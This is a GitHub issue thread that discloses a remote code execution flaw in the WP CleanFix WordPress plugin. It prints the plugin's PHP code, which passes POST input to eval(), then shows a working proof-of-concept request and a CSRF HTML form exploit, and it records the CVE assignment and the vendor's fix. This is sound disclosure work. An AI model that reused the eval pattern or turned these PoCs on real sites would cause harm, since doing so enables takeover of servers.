Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

WP CleanFix - Remote Code Execution Warning #186

Closed
FireFart opened this Issue May 15, 2013 · 19 comments

Comments

Projects
None yet
5 participants
Owner

FireFart commented May 15, 2013

http://wordpress.org/support/topic/plugin-wp-cleanfix-remote-code-execution-warning

thx to @infodox for the hint.

Plugin is still online at the time of writing

Love the plugin however when I conducted a scan with the 6scan plugin I received this warning: Malicious user could execute arbitrary code. The file in question being wpCleanFixAjax.php with the following guidelines:

1)Find the line that begins with '$command = strip_tags( $_POST['command'] );'
2)Append the next lines with the following:

if (!is_admin())
return;

Supposedly this only protects against anonymous execution, but non admins could still do this. I was wondering if this is an accurate warning.

http://wordpress.org/extend/plugins/wp-cleanfix/

infodox commented May 15, 2013

posting the full source of the affected file. Have not got a local install to test on atm.

<?php
/**
 * Ajax module for POST request
 *
 * @package         wp-cleanfix
 * @subpackage      wp-cleanfix_ajax
 * @author          =undo= <g.fazioli@undolog.com>, <g.fazioli@saidmade.com>
 * @copyright       Copyright (C) 2010-2011 Saidmade Srl
 *
 */

if ( is_admin() && _wpdk_is_ajax() ) {
    require_once ( 'module/module.php' );
    require_once ( 'module/database.php' );
    require_once ( 'module/usermeta.php' );
    require_once ( 'module/posts.php' );
    require_once ( 'module/category.php' );
    require_once ( 'module/comments.php' );
    require_once ( 'module/badge.php' );

    load_plugin_textdomain( 'wp-cleanfix', false, 'wp-cleanfix/localization' );

    function wpCleanFixAjax() {
        global $WPCLEANFIX_DATABASE;
        global $WPCLEANFIX_USERMETA;
        global $WPCLEANFIX_POSTS;
        global $WPCLEANFIX_CATEGORY;
        global $WPCLEANFIX_COMMENTS;
        // Sanitize $_POST['command]
        $command = strip_tags( $_POST['command'] );
        eval ( $command );
        die();
    }

    add_action( 'wp_ajax_wpCleanFixAjax', 'wpCleanFixAjax' );
}

?>

I am not 100% sure if this is actually vulnerable, not sure how the is_admin() call actually does its job and if the eval() is hit or not.

Owner

ethicalhack3r commented May 15, 2013

Works!

Request:

POST /wordpress/wordpress-351/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/wordpress/wordpress-351/wp-admin/admin.php?page=wp-cleanfix-mainshow
Content-Length: 48
Cookie: wordpress_0c1a583e89ef10347d6dd7d574f731ae=admin%7C1368812327%7C964355b022466c59225f72233272af1e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0c1a583e89ef10347d6dd7d574f731ae=admin%7C1368812327%7Cca2f5233448750bc4b35c427e9f70f6b; wp-settings-time-1=1368639528; session=WGgFaFMxVj8CfwRyAz5QN1o8Um8BdgYgVDMDJlZ1UDsGOQA4VFYKOAM2AndTPFFxBTkIPlFkB2tbL1RrAWYGMlFkUDZVY1QwBGABbwA8DWFYPgVkU2JWYAI3BGADM1A3Wm5SZAFmBmZUbgNgVmRQMwYwAG9UaApkA2ICd1M8UXEFOQg8UWYHa1svVDoBJAYMUTJQYlVhVCQEMQEkAC4NdFgyBSFTPVY8Aj4EIwM1UDRaO1J7AWQGfVRmA3tWN1BwBm0AJVQzCmADYgJvUyVRdwVwCGhRJAcOW2xUNAExBj1RJ1AkVT5UJQRuAW8AbA1sWCsFH1NoVn8CbQRtA2hQZ1ojUmABegZjVHYDfVZLUDMGNQA%2FVGcKJQM9AiZTb1E5BSMIRFE4ByVbaFQ%2FAXQGHlEyUGVVJVQZBAcBdwAFDXZYOAViUylWPQI%2FBCEDdlBwWjZSZwFkBn1UZgN8ViZQFQYzADVUYgo%2BA30CZ1M3UTMFMwg9UWcHYVs8VHMBEgY6USFQY1VjVDkELAF4AG8NZlgnBWJTJVY%2BAncEOwM1UDVaNlJ3ATgGMlQlAyFWWVAzBjUAIlRgCicDOwIhU35RIAU4CGRRbAdgWz5UZQFsBmBRalAyVTRUbgRkAWwALg1sWDAFaFMlVnACdwRkA3ZQWVpoUjQBIAYyVHQDblZ1UGgGZgBsVCsKcwNpAiZTPVE7BTkIL1E6Bz5balQ0ATEGN1EMUG9Va1R0BG8BNgBnDWRYMwUpU3RWPwI2BDsDJlBvWmhSdwFvBiBUbANkVjxQcAZnAHRUMgoiA2gCbVM9USAFdgh%2BUTMHI1tjVDIBOQY2UXFQPVV2VGwEYQFtAH8NN1htBT9TblZrAiYEOgN5UHs%3D
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

action=wpCleanFixAjax&command=echo phpversion();

Response:

HTTP/1.1 200 OK
Date: Wed, 15 May 2013 17:42:18 GMT
Server:  REDACTED
X-Powered-By: REDACTED
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 6
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

5.3.15
Owner

ethicalhack3r commented May 15, 2013

Needs admin to be logged in but it is CSRFable:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/wordpress/wordpress-351/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpCleanFixAjax" />
      <input type="hidden" name="command" value="echo&#32;phpversion&#40;&#41;&#59;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Owner

FireFart commented May 15, 2013

You are logged in as admin right?
wordpress_0c1a583e89ef10347d6dd7d574f731ae=admin%7C1368812327%7C964355b022466c59225f72233272af1e

Edit: too slow :D

Owner

ethicalhack3r commented May 15, 2013

Yea, just test install on localhost. :)

Maybe @fgeek can request a CVE for us. :)

Owner

ethicalhack3r commented May 15, 2013

P.S. Emailed WP plugin guys.

infodox commented May 15, 2013

Score, so you could make a nice CSRF page and "phish" the admin? Or use an XSS bug to nick their cookies or do XSS->CSRF or some kinda funkyness like that?

Owner

ethicalhack3r commented May 15, 2013

Yup, either should do. Thanks for bringing it to our attention. :)

Owner

ethicalhack3r commented May 15, 2013

Funny, the _wpdk_is_ajax() function should prevent the CSRF PoC above, but it doesn't for some reason. Could always CSRF it via AJAX anyway if it didn't work as a HTML form.

Owner

ethicalhack3r commented May 15, 2013

Unless, /wp-admin/admin-ajax.php makes _wpdk_is_ajax() think it is coming from XMLhttprequest.

Contributor

fgeek commented May 15, 2013

@ethicalhack3r Yes I can. I will do it tomorrow.

You should edit 50808d8 commit title to tell something like "with CSRF" or similar.

Owner

ethicalhack3r commented May 15, 2013

Yup, admin-ajax.php sets the constant DOING_AJAX to true.

wp-admin/admin-ajax.php:define( 'DOING_AJAX', true );

@fgeek, will do, thanks! :)

Contributor

fgeek commented May 16, 2013

wp-cleanfix.php contains:

<script type="text/javascript" src="http://blog.wpxtre.me/widget/?<?php echo time() ?>"></script>
Contributor

fgeek commented May 18, 2013

CVE assigned in oss-security.

Please use CVE-2013-2108 for the WordPress plugin wp-cleanfix CSRF
Please use CVE-2013-2109 for the WordPress plugin wp-cleanfix Code Execution

Owner

ethicalhack3r commented May 18, 2013

Thanks, added.

Contributor

fgeek commented May 18, 2013

There is 3.0.0 version of this plugin now. Could you verify these issues are fixed? I took a quick look and at least there is no eval().

Hello and first of all thank you for finding this high risk security bug. Unfortunately this bug refers to a dismissed plugin because we have transformed it into a real product (always for free atm) not available on the WordPress repo.

However, seeing that a lot of people were using the old version, we have decided to update CleanFix also on the WordPress repo, fixing this flow. We have completely rewritten the code, so feel free to point out any other security problem.

Thank you so much for your work!
Nicola

Contributor

fgeek commented May 22, 2013

@nballotta At least you forgot to generate changelog. Please add CVEs to it so people can refer to it correctly. Why are you moving out of WordPress repo?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment